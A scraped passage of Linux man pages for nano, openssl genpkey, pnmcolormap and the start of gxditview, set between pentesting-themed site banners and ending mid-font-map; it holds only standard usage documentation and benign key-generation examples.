Treat any name given on the command line as a new file. This allows nano to write to named pipes: it starts with a blank buffer, and writes to the pipe when the user saves the “file”. This way nano can be used as an editor in combination with for instance gpg without having to write sensitive data to disk first.

-o directory, **–operatingdir=**directory
Set the operating directory. This makes nano set up something similar to a chroot.

-p, –preserve
Preserve the XOFF and XON sequences (^S and ^Q) so that they are caught by the terminal (stopping and resuming the output). Note that option -/ (–modernbindings) overrides this.

-q, –indicator
Display a “scrollbar” on the righthand side of the edit window. It shows the position of the viewport in the buffer and how much of the buffer is covered by the viewport.

-r number, **–fill=**number
Set the target width for justifying and automatic hard-wrapping at this number of columns. If the value is 0 or less, wrapping occurs at the width of the screen minus number columns, allowing the wrap point to vary along with the width of the screen if the screen is resized. The default value is -8.

-s “program [argument …]”**, –speller="program [argument …]"**
Use this command to perform spell checking and correcting, instead of using the built-in corrector that calls hunspell(1) or spell(1).

-t, –saveonexit
Save a changed buffer without prompting (when exiting with ^X).

-u, –unix
Save a file by default in Unix format. This overrides nano’s default behavior of saving a file in the format that it had. (This option has no effect when you also use –noconvert.)

-v, –view
Just view the file and disallow editing: read-only mode. This mode allows the user to open also other files for viewing, unless –restricted is given too.

-w, –nowrap
Do not automatically hard-wrap the current line when it becomes overlong. This is the default. (This option is the opposite of -b (–breaklonglines) – the last one given takes effect.)

-x, –nohelp
Don’t show the two help lines at the bottom of the screen.

-y, –afterends
Make Ctrl+Right and Ctrl+Delete stop at word ends instead of beginnings.

-z, –listsyntaxes
List the names of the available syntaxes and exit.

-!, –magic
When neither the file’s name nor its first line give a clue, try using libmagic to determine the applicable syntax.

-@, –colonparsing
When a filename given on the command line ends in a colon plus digits and this filename does not exist, then snip the colon plus digits and understand the digits as a line number. If the trimmed filename does not exist either, then repeat the process and understand the obtained two numbers as line and column number. But if the doubly trimmed filename does not exist either, then forget the trimming and accept the original filename as is. To disable this colon parsing for some file, use +1 or similar before the relevant filename.

-%, –stateflags
Use the top-right corner of the screen for showing some state flags: I when auto-indenting, M when the mark is on, L when hard-wrapping (breaking long lines), R when recording a macro, and S when soft-wrapping. When the buffer is modified, a star (*) is shown after the filename in the center of the title bar.

-_, –minibar
Suppress the title bar and instead show information about the current buffer at the bottom of the screen, in the space for the status bar. In this “mini bar” the filename is shown on the left, followed by an asterisk if the buffer has been modified. On the right are displayed the current line and column number, the code of the character under the cursor (in Unicode format: U+xxxx), the same flags as are shown by –stateflags, and a percentage that expresses how far the cursor is into the file (linewise). When a file is loaded or saved, and also when switching between buffers, the number of lines in the buffer is displayed after the filename. This number is cleared upon the next keystroke, or replaced with an [i/n] counter when multiple buffers are open. The line plus column numbers and the character code are displayed only when –constantshow is used, and can be toggled on and off with M-C. The state flags are displayed only when –stateflags is used.

-0, –zero
Hide all elements of the interface (title bar, status bar, and help lines) and use all rows of the terminal for showing the contents of the buffer. The status bar appears only when there is a significant message, and disappears after 1.5 seconds or upon the next keystroke. With M-Z the title bar plus status bar can be toggled. With M-X the help lines.

-/, –modernbindings
Use key bindings similar to the ones that most modern programs use: ^X cuts, ^C copies, ^V pastes, ^Z undoes, ^Y redoes, ^F searches forward, ^G searches next, ^S saves, ^O opens a file, ^Q quits, and (when the terminal permits) ^H shows help. Furthermore, ^A sets the mark, ^R makes replacements, ^D searches previous, ^P shows the position, ^T goes to a line, ^W writes out a file, and ^E executes a command. Note that this overrides option -p (–preserve).

TOGGLES

Several of the above options can be switched on and off also while nano is running. For example, M-L toggles the hard-wrapping of long lines, M-S toggles soft-wrapping, M-N toggles line numbers, M-M toggles the mouse, M-I auto-indentation, and M-X the help lines. See at the end of the ^G help text for a complete list.

The M-X toggle is special: it works in all menus except the help viewer and the linter. All other toggles work in the main menu only.

FILES

When –rcfile is given, nano reads just the specified file for setting its options and syntaxes and key bindings. Without that option, nano reads two configuration files: first the system’s nanorc (if it exists), and then the user’s nanorc (if it exists), either ~/.nanorc or $XDG_CONFIG_HOME/nano/nanorc or ~/.config/nano/nanorc, whichever is encountered first. See nanorc(5) for more information on the possible contents of those files.

See /usr/share/nano/ and /usr/share/nano/extra/ for available syntax-coloring definitions.

NOTES

Suspension is enabled by default, reachable via ^T^Z. (If you want a plain ^Z to suspend nano, add bind ^Z suspend main to your nanorc.)

When you want to copy marked text from nano to the system’s clipboard, see one of the examples in the nanorc(5) man page.

If no alternative spell checker command is specified on the command line nor in one of the nanorc files, nano checks the SPELL environment variable for one.

In some cases nano tries to dump the buffer into an emergency file. This happens mainly if nano receives a SIGHUP or SIGTERM or runs out of memory. It writes the buffer into a file named nano.save if the buffer didn’t have a name already, or adds a “.save” suffix to the current filename. If an emergency file with that name already exists in the current directory, it adds “.save” plus a number (e.g. “.save.1”) to the current filename in order to make it unique. In multibuffer mode, nano writes all open buffers to their respective emergency files.

If you have any question about how to use nano in some specific situation, you can ask on [email protected].

BUGS

The recording and playback of keyboard macros works correctly only on a terminal emulator, not on a Linux console (VT), because the latter does not by default distinguish modified from unmodified arrow keys.

Please report any other bugs that you encounter via:
https://savannah.gnu.org/bugs/?group=nano.

When nano crashes, it saves any modified buffers to emergency .save files. If you are able to reproduce the crash and you want to get a backtrace, define the environment variable NANO_NOCATCH.

HOMEPAGE

https://nano-editor.org/

SEE ALSO

nanorc(5)

/usr/share/doc/nano/ (or equivalent on your system)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

608 - Linux cli command openssl-genpkeyssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-genpkeyssl and provides detailed information about the command openssl-genpkeyssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-genpkeyssl.

NAME 🖥️ openssl-genpkeyssl 🖥️

genpkey - generate a private key or key pair

SYNOPSIS

openssl genpkey [-help] [-out filename] [-outpubkey filename] [-outform DER|PEM] [-verbose] [-quiet] [-pass arg] [-cipher] [-paramfile file] [-algorithm alg] [-pkeyopt opt:value] [-genparam] [-text] [-engine id] [-provider name] [-provider-path path] [-propquery propq] [-config configfile]

DESCRIPTION

This command generates a private key or key pair.

OPTIONS

-help
Print out a usage message.

-out filename
Output the private key to the specified file. If this argument is not specified then standard output is used.

-outpubkey filename
Output the public key to the specified file. If this argument is not specified then the public key is not output.

-outform DER|PEM
The output format, except when -genparam is given; the default is PEM. See openssl-format-options (1) for details. When -genparam is given, -outform is ignored.

-verbose
Output “status dots” while generating keys.

-quiet
Do not output “status dots” while generating keys.

-pass arg
The output file password source. For more information about the format of arg see openssl-passphrase-options (1).

-cipher
This option encrypts the private key with the supplied cipher. Any algorithm name accepted by EVP_get_cipherbyname() is acceptable such as des3.

-algorithm alg
Public key algorithm to use such as RSA, DSA, DH or DHX. If used this option must precede any -pkeyopt options. The options -paramfile and -algorithm are mutually exclusive. Engines or providers may add algorithms in addition to the standard built-in ones. Valid built-in algorithm names for private key generation are RSA, RSA-PSS, EC, X25519, X448, ED25519 and ED448. Valid built-in algorithm names for parameter generation (see the -genparam option) are DH, DSA and EC. Note that the algorithm name X9.42 DH may be used as a synonym for DHX keys and PKCS#3 refers to DH Keys. Some options are not shared between DH and DHX keys.

-pkeyopt opt:value
Set the public key algorithm option opt to value. The precise set of options supported depends on the public key algorithm used and its implementation. See “KEY GENERATION OPTIONS” and “PARAMETER GENERATION OPTIONS” below for more details. To list the possible opt values for an algorithm use: openssl genpkey -algorithm XXX -help

-genparam
Generate a set of parameters instead of a private key. If used this option must precede any -algorithm, -paramfile or -pkeyopt options.

-paramfile filename
Some public key algorithms generate a private key based on a set of parameters. They can be supplied using this option. If this option is used the public key algorithm used is determined by the parameters. If used this option must precede any -pkeyopt options. The options -paramfile and -algorithm are mutually exclusive.

-text
Print an (unencrypted) text representation of private and public keys and parameters along with the PEM or DER structure.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-config configfile
See “Configuration Option” in openssl (1).

KEY GENERATION OPTIONS

The options supported by each algorithm and indeed each implementation of an algorithm can vary. The options for the OpenSSL implementations are detailed below. There are no key generation options defined for the X25519, X448, ED25519 or ED448 algorithms.

RSA Key Generation Options

rsa_keygen_bits:numbits
The number of bits in the generated key. If not specified 2048 is used.

rsa_keygen_primes:numprimes
The number of primes in the generated key. If not specified 2 is used.

rsa_keygen_pubexp:value
The RSA public exponent value. This can be a large decimal or hexadecimal value if preceded by 0x. Default value is 65537.

RSA-PSS Key Generation Options

Note: by default an RSA-PSS key has no parameter restrictions.

rsa_keygen_bits:numbits, rsa_keygen_primes:numprimes, rsa_keygen_pubexp:value
These options have the same meaning as the RSA algorithm.

rsa_pss_keygen_md:digest
If set the key is restricted and can only use digest for signing.

rsa_pss_keygen_mgf1_md:digest
If set the key is restricted and can only use digest as it’s MGF1 parameter.

rsa_pss_keygen_saltlen:len
If set the key is restricted and len specifies the minimum salt length.

EC Key Generation Options

The EC key generation options can also be used for parameter generation.

ec_paramgen_curve:curve
The EC curve to use. OpenSSL supports NIST curve names such as “P-256”.

ec_param_enc:encoding
The encoding to use for parameters. The encoding parameter must be either named_curve or explicit. The default value is named_curve.

DH Key Generation Options

group:name
The paramfile option is not required if a named group is used here. See the “DH Parameter Generation Options” section below.

PARAMETER GENERATION OPTIONS

The options supported by each algorithm and indeed each implementation of an algorithm can vary. The options for the OpenSSL implementations are detailed below.

DSA Parameter Generation Options

dsa_paramgen_bits:numbits
The number of bits in the generated prime. If not specified 2048 is used.

dsa_paramgen_q_bits:numbits

qbits:numbits

The number of bits in the q parameter. Must be one of 160, 224 or 256. If not specified 224 is used.

dsa_paramgen_md:digest

digest:digest

The digest to use during parameter generation. Must be one of sha1, sha224 or sha256. If set, then the number of bits in q will match the output size of the specified digest and the dsa_paramgen_q_bits parameter will be ignored. If not set, then a digest will be used that gives an output matching the number of bits in q, i.e. sha1 if q length is 160, sha224 if it 224 or sha256 if it is 256.

properties:query
The digest property query string to use when fetching a digest from a provider.

type:type
The type of generation to use. Set this to 1 to use legacy FIPS186-2 parameter generation. The default of 0 uses FIPS186-4 parameter generation.

gindex:index
The index to use for canonical generation and verification of the generator g. Set this to a positive value ranging from 0..255 to use this mode. Larger values will only use the bottom byte. This index must then be reused during key validation to verify the value of g. If this value is not set then g is not verifiable. The default value is -1.

hexseed:seed
The seed seed data to use instead of generating a random seed internally. This should be used for testing purposes only. This will either produced fixed values for the generated parameters OR it will fail if the seed did not generate valid primes.

DH Parameter Generation Options

For most use cases it is recommended to use the group option rather than the type options. Note that the group option is not used by default if no parameter generation options are specified.

group:name

dh_param:name

Use a named DH group to select constant values for the DH parameters. All other options will be ignored if this value is set. Valid values that are associated with the algorithm of “DH” are: “ffdhe2048”, “ffdhe3072”, “ffdhe4096”, “ffdhe6144”, “ffdhe8192”, “modp_1536”, “modp_2048”, “modp_3072”, “modp_4096”, “modp_6144”, “modp_8192”. Valid values that are associated with the algorithm of “DHX” are the RFC5114 names “dh_1024_160”, “dh_2048_224”, “dh_2048_256”.

dh_rfc5114:num
If this option is set, then the appropriate RFC5114 parameters are used instead of generating new parameters. The value num can be one of 1, 2 or 3 that are equivalent to using the option group with one of “dh_1024_160”, “dh_2048_224” or “dh_2048_256”. All other options will be ignored if this value is set.

pbits:numbits

dh_paramgen_prime_len:numbits

The number of bits in the prime parameter p. The default is 2048.

qbits:numbits

dh_paramgen_subprime_len:numbits

The number of bits in the sub prime parameter q. The default is 224. Only relevant if used in conjunction with the dh_paramgen_type option to generate DHX parameters.

safeprime-generator:value

dh_paramgen_generator:value

The value to use for the generator g. The default is 2. The algorithm option must be “DH” for this parameter to be used.

type:string
The type name of DH parameters to generate. Valid values are:

“generator”
Use a safe prime generator with the option safeprime_generator The algorithm option must be “DH”.

“fips186_4”
FIPS186-4 parameter generation. The algorithm option must be “DHX”.

“fips186_2”
FIPS186-4 parameter generation. The algorithm option must be “DHX”.

“group”
Can be used with the option pbits to select one of “ffdhe2048”, “ffdhe3072”, “ffdhe4096”, “ffdhe6144” or “ffdhe8192”. The algorithm option must be “DH”.

“default”
Selects a default type based on the algorithm. This is used by the OpenSSL default provider to set the type for backwards compatibility. If algorithm is “DH” then “generator” is used. If algorithm is “DHX” then “fips186_2” is used.

dh_paramgen_type:value
The type of DH parameters to generate. Valid values are 0, 1, 2 or 3 which correspond to setting the option type to “generator”, “fips186_2”, “fips186_4” or “group”.

digest:digest
The digest to use during parameter generation. Must be one of sha1, sha224 or sha256. If set, then the number of bits in qbits will match the output size of the specified digest and the qbits parameter will be ignored. If not set, then a digest will be used that gives an output matching the number of bits in q, i.e. sha1 if q length is 160, sha224 if it is 224 or sha256 if it is 256. This is only used by “fips186_4” and “fips186_2” key generation.

properties:query
The digest property query string to use when fetching a digest from a provider. This is only used by “fips186_4” and “fips186_2” key generation.

gindex:index
The index to use for canonical generation and verification of the generator g. Set this to a positive value ranging from 0..255 to use this mode. Larger values will only use the bottom byte. This index must then be reused during key validation to verify the value of g. If this value is not set then g is not verifiable. The default value is -1. This is only used by “fips186_4” and “fips186_2” key generation.

hexseed:seed
The seed seed data to use instead of generating a random seed internally. This should be used for testing purposes only. This will either produced fixed values for the generated parameters OR it will fail if the seed did not generate valid primes. This is only used by “fips186_4” and “fips186_2” key generation.

EC Parameter Generation Options

The EC parameter generation options are the same as for key generation. See “EC Key Generation Options” above.

NOTES

The use of the genpkey program is encouraged over the algorithm specific utilities because additional algorithm options and ENGINE provided algorithms can be used.

EXAMPLES

Generate an RSA private key using default parameters:

openssl genpkey -algorithm RSA -out key.pem

Encrypt output private key using 128 bit AES and the passphrase “hello”:

openssl genpkey -algorithm RSA -out key.pem -aes-128-cbc -pass pass:hello

Generate a 2048 bit RSA key using 3 as the public exponent:

openssl genpkey -algorithm RSA -out key.pem \ -pkeyopt rsa_keygen_bits:2048 -pkeyopt rsa_keygen_pubexp:3

Generate 2048 bit DSA parameters that can be validated: The output values for gindex and seed are required for key validation purposes and are not saved to the output pem file).

openssl genpkey -genparam -algorithm DSA -out dsap.pem -pkeyopt pbits:2048 \ -pkeyopt qbits:224 -pkeyopt digest:SHA256 -pkeyopt gindex:1 -text

Generate DSA key from parameters:

openssl genpkey -paramfile dsap.pem -out dsakey.pem

Generate 4096 bit DH Key using safe prime group ffdhe4096:

openssl genpkey -algorithm DH -out dhkey.pem -pkeyopt group:ffdhe4096

Generate 2048 bit X9.42 DH key with 256 bit subgroup using RFC5114 group3:

openssl genpkey -algorithm DHX -out dhkey.pem -pkeyopt dh_rfc5114:3

Generate a DH key using a DH parameters file:

openssl genpkey -paramfile dhp.pem -out dhkey.pem

Output DH parameters for safe prime group ffdhe2048:

openssl genpkey -genparam -algorithm DH -out dhp.pem -pkeyopt group:ffdhe2048

Output 2048 bit X9.42 DH parameters with 224 bit subgroup using RFC5114 group2:

openssl genpkey -genparam -algorithm DHX -out dhp.pem -pkeyopt dh_rfc5114:2

Output 2048 bit X9.42 DH parameters with 224 bit subgroup using FIP186-4 keygen:

openssl genpkey -genparam -algorithm DHX -out dhp.pem -text \ -pkeyopt pbits:2048 -pkeyopt qbits:224 -pkeyopt digest:SHA256 \ -pkeyopt gindex:1 -pkeyopt dh_paramgen_type:2

Output 1024 bit X9.42 DH parameters with 160 bit subgroup using FIP186-2 keygen:

openssl genpkey -genparam -algorithm DHX -out dhp.pem -text \ -pkeyopt pbits:1024 -pkeyopt qbits:160 -pkeyopt digest:SHA1 \ -pkeyopt gindex:1 -pkeyopt dh_paramgen_type:1

Output 2048 bit DH parameters:

openssl genpkey -genparam -algorithm DH -out dhp.pem \ -pkeyopt dh_paramgen_prime_len:2048

Output 2048 bit DH parameters using a generator:

openssl genpkey -genparam -algorithm DH -out dhpx.pem \ -pkeyopt dh_paramgen_prime_len:2048 \ -pkeyopt dh_paramgen_type:1

Generate EC parameters:

openssl genpkey -genparam -algorithm EC -out ecp.pem \ -pkeyopt ec_paramgen_curve:secp384r1 \ -pkeyopt ec_param_enc:named_curve

Generate EC key from parameters:

openssl genpkey -paramfile ecp.pem -out eckey.pem

Generate EC key directly:

openssl genpkey -algorithm EC -out eckey.pem \ -pkeyopt ec_paramgen_curve:P-384 \ -pkeyopt ec_param_enc:named_curve

Generate an X25519 private key:

openssl genpkey -algorithm X25519 -out xkey.pem

Generate an ED448 private key:

openssl genpkey -algorithm ED448 -out xkey.pem

HISTORY

The ability to use NIST curve names, and to generate an EC key directly, were added in OpenSSL 1.0.2. The ability to generate X25519 keys was added in OpenSSL 1.1.0. The ability to generate X448, ED25519 and ED448 keys was added in OpenSSL 1.1.1.

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2006-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

609 - Linux cli command pnmcolormap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmcolormap and provides detailed information about the command pnmcolormap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmcolormap.

.

NAME 🖥️ pnmcolormap 🖥️

create quantization color map for a Netpbm image

SYNOPSIS

pnmcolormap

[-center|-meancolor|-meanpixel]

[-spreadbrightness|-spreadluminosity]

[-splitpixelct|-splitcolorct|-splitspread]

[-sort]

[-square]

[-verbose]

[-debug]

ncolors|all

[pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmcolormap reads a PNM or PAM image as input, chooses ncolors colors to best represent the image and writes a PNM color map defining them as output. A PAM image may actually contain tuples of any kind, but pnmcolormap’s concept of the tuple values that best represent the ones present in the image may not make sense if the tuple type isn’t RGB or GRAYSCALE. The design of the program, and the rest of this manual, assumes the tuples represent colors.

You can use this map as input to pnmremap on the same input image to quantize the colors in that image, I.e. produce a similar image with fewer colors. pnmquant does both the pnmcolormap and pnmremap steps for you.

A PNM colormap is a PNM image of any dimensions that contains at least one pixel of each color in the set of colors it represents. The ones pnmcolormap generates have exactly one pixel of each color, except where padding is necessary with the -square option.

The quantization method is Heckbert’s “median cut”. See QUANTIZATION METHOD .

The output image is of the same format (PBM, PGM, PPM, PAM) as the input image. Note that a colormap of a PBM image is not very interesting.

The colormap generally has the same maxval as the input image, but pnmcolormap may reduce it if there are too many colors in the input, as part of its quantization algorithm.

pnmcolormap works on a multi-image input stream. In that case, it produces one colormap that applies to all of the colors in all of the input images. All the images must have the same format, depth, and maxval (but may have different height and width). This is useful if you need to quantize a bunch of images that will form a movie or otherwise be used together – you generally want them all to draw from the same palette, whereas computing a colormap separately from each image would make the same color in two images map to different colors. Before Netpbm 10.31 (December 2005), pnmcolormap ignored any image after the first.

If you want to create a colormap without basing it on the colors in an input image, pamseq, ppmmake, and pamcat can be useful.

PARAMETERS

The single parameter, which is required, is the number of colors you want in the output colormap. pnmcolormap may produce a color map with slightly fewer colors than that. You may specify all to get a colormap of every color in the input image (no quantization). When you specify all, the function is essentially the same as that of ppmhist -map. ppmhist is much older.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmcolormap recognizes the following command line options:

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

-sort
This option causes the output colormap to be sorted by the red component intensity, then the green, then the blue in ascending order. This is an insertion sort, so it is not very fast on large colormaps. Sorting is useful because it allows you to compare two sets of colors.

-square
By default, pnmcolormap produces as the color map a PPM image with one row and with one column for each color in the colormap. This option causes pnmcolormap instead to produce a PPM image that is within one row or column of being square, with the last pixel duplicated as necessary to create a number of pixels which is such an almost-perfect square.

-verbose
This option causes pnmcolormap to display messages to Standard Error about the quantization..TP -center

-debug
This option causes pnmcolormap to display messages to Standard Error about internal workings.

-center
-meancolor
-meanpixel
-spreadbrightness
-spreadluminosity
-splitpixelct
-splitcolorct
-splitspread
These options control the quantization algorithm. See QUANTIZATION METHOD .

QUANTIZATION METHOD

A quantization method is a way to choose which colors, being fewer in number than in the input, you want in the output. pnmcolormap uses Heckbert’s “median cut” quantization method.

This method involves separating all the colors into “boxes,” each holding colors that represent about the same number of pixels. You start with one box and split boxes in two until the number of boxes is the same as the number of colors you want in the output, and choose one color to represent each box.

There are three ways pnmcolormap can choose the box to split in each step:

  • Split the box containing the most pixels. This is the default, and you can select it explicitly with option -splitpixelct.

  • Split the box containing the most colors. This appears to be useful for academic purposes only. Select this with option -splitcolorct.

  • Split the box containing the largest color spread. Select this with option -splitspread. This can produce a better result for small details with colors not found elsewhere in the image.

-splitpixelct, splitcolorct, and splitspread were new in Netpbm 10.88 (September 2019). Before that, pnmcolormap always splits the box containing the most pixels.

When you split a box, you do it so each sub-box has the same number of pixels (except one sub-box has more if the full box has an odd number), with the ‘greatest’ pixels in one sub-box and the ’least’ pixels in the other. “Greater,” for a particular box, means it is brighter in the color component (red, green, blue) which has the largest spread in that box. pnmcolormap gives you two ways to define “largest spread.”: 1) largest spread of brightness; 2) largest spread of contribution to the luminosity of the color. E.g. red is weighted much more than blue. Select among these with the -spreadbrightness and -spreadluminosity options. The default is -spreadbrightness. Where there are multiple colors of the median magnitude, they are distributed arbitrarily among between the subboxes.

This arbitrary distribution is repeatable, though, for a given Netpbm version – every invocation of pnmcolormap generates the same color map. Before Netpbm 11.03 (June 2023), the distribution would depend upon what the system’s qsort function does with multiple equal values, so pnmcolormap may produce slightly different results on different systems.

pnmcolormap provides three ways of choosing a color to represent a box: 1) the center color - the color halfway between the greatest and least colors in the box, using the above definition of “greater”; 2) the mean of the colors (each component averaged separately by brightness) in the box; 3) the mean weighted by the number of pixels of a color in the image.

Select among these with the -center, -meancolor, and -meanpixel options. The default is -center.

Note that in all three methods, there may be colors in the output which do not appear in the input at all.

Also note that the color chosen to represent the colors in Box A the best may also represent a color in Box B better than the color chosen to represent the colors in Box B the best. This is true for various measures of goodness of representation of one color by another. In particular, if you use pnmremap to map the colors in the very image that you used to create the color map to the colors in that colormap, the colors in Box B will often map to the color pnmcolormap chose to represent some other box and in fact the color pnmcolormap chose to represent Box B may not appear in the pnmremap output at all.

REFERENCES

“Color Image Quantization for Frame Buffer Display” by Paul Heckbert, SIGGRAPH ‘82 Proceedings, page 297.

SEE ALSO

pnmremap(1) , pnmquant(1) , ppmquantall(1) , pamgetcolor(1) , pamdepth(1) , ppmdither(1) , pamseq(1) , ppmmake(1) , pamcat(1) , ppm(1)

HISTORY

Before Netpbm 10.15 (April 2003), pnmcolormap used a lot more memory for large images because it kept the entire input image in memory. Now, it processes it a row at a time, but because it sometimes must make multiple passes through the image, it first copies the input into a temporary seekable file if it is not already in a seekable file.

pnmcolormap first appeared in Netpbm 9.23 (January 2002). Before that, its function was available only as part of the function of pnmquant (which was derived from the much older ppmquant). Color quantization really has two main subfunctions, so Netpbm 9.23 split it out into two separate programs: pnmcolormap and pnmremap and then Netpbm 9.24 replaced pnmquant with a program that simply calls pnmcolormap and pnmremap.

AUTHOR

Copyright (C) 1989, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmcolormap.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

610 - Linux cli command gxditview

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gxditview and provides detailed information about the command gxditview, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gxditview.

Name

gxditview - display groff intermediate output files in X11

Synopsis

gxditview [X-toolkit-option . . .] [-backingStore ** backing-store-type] [-filename ** file] [-page ** page-number] [-printCommand ** command] [**-resolution ** resolution] file gxditview -help gxditview –help gxditview -version gxditview –version

Description

gxditview interprets and displays the intermediate output format of

on an X11 display. It uses the standard X11 fonts, so it does not require access to the server machine for font loading. There are several ways to use gxditview.

The intermediate output format of groff, documented in

is produced by troff or the -Z option to groff. It can be viewed by explicitly calling “gxditview file”. If the file operand is “-”, gxditview will read the standard input stream; file cannot be omitted. The intermediate output format of groff is device-independent but not device-agnostic. gxditview can view it for all typesetter devices, but the quality is device-dependent. gxditview will not display output for terminal (nroff) devices.

The best results are achieved with the X* devices for groff’s -T option, of which there are four: -TX75, -TX75-12, -TX100, and -TX100-12. They differ by the X resolution (75 or 100 dots per inch) and the base point size (10 or 12 points). They are especially built for gxditview. When using one of these, groff generates the intermediate output for this device and calls gxditview automatically for viewing.

-X produces good results only with -Tps, -TX75, -TX75-12, -TX100, and -TX100-12. The default resolution for previewing -Tps output is 75 dpi; this can be changed with the -resolution option.

While gxditview is running, the left mouse button brings up a menu with several entries.

Next Page
Display the next page.

Previous Page
Display the previous page.

Select Page
Select a particular numbered page specified by a dialog box.

Print
Print the groff intermediate output using a command specified by a dialog box. The default command initially displayed is controlled by the printCommand application resource, and by the -printCommand option.

Open
Open for display a new file specified by a dialog box. The file should contain groff intermediate output. If the filename starts with a bar or pipe symbol, “|” it will be interpreted as a command from which to read.

Quit
Exit from gxditview.

The menu entries correspond to actions with similar but not identical names, which can also be accessed with keyboard accelerators. The n, Space, Return, and Next (PgDn) keys are bound to the NextPage action. The p, b, BackSpace, Delete, and Prior (PgUp) keys are bound to the PreviousPage action. The g key is bound to the SelectPage action. The o key is bound to the OpenFile action. The q key is bound to the Quit action. The r key is bound to a Rerasterize action which rereads the current file, and redisplays the current page; if the current file is a command, the command will be re-executed. Vertical scrolling can be done with the k and j keys; horizontal scrolling is bound to the h and l keys. The arrow keys (up, down, left, and right) are also bound to the obvious scrolling actions.

The paperlength and paperwidth commands in the DESC file describing a groff output device specify the length and width in machine units of the virtual page displayed by gxditview; see

X defaults

This program uses the Dvi widget from the X Toolkit. It understands all of the core resource names and classes as well as:

**width **(class Width)
Specifies the width of the window.

**height **(class Height)
Specifies the height of the window.

**foreground **(class Foreground)
Specifies the default foreground color.

**font **(class Font)
Specifies the font to be used for error messages.

**fontMap **(class FontMap)
Specifies the mapping from groff font names to X font names. This must be a string containing a sequence of lines. Each line contains two whitespace-separated fields: firstly the groff font name, and secondly the XLFD (X Logical Font Description). The default is shown in subsection “Default font map” below.

Default font map

XLFDs are long and unwieldy, so some lines are shown broken and indented below.

TR  -adobe-times-medium-r-normal--*-100-*-*-*-*-iso8859-1


TI -adobe-times-medium-i-normal–-100-----iso8859-1
TB -adobe-times-bold-r-normal–
-100-----iso8859-1
TBI -adobe-times-bold-i-normal–-100-----iso8859-1
CR -adobe-courier-medium-r-normal–
-100 -----iso8859-1
CI -adobe-courier-medium-o-normal –-100-----iso8859-1
CB -adobe-courier-bold-r-normal–
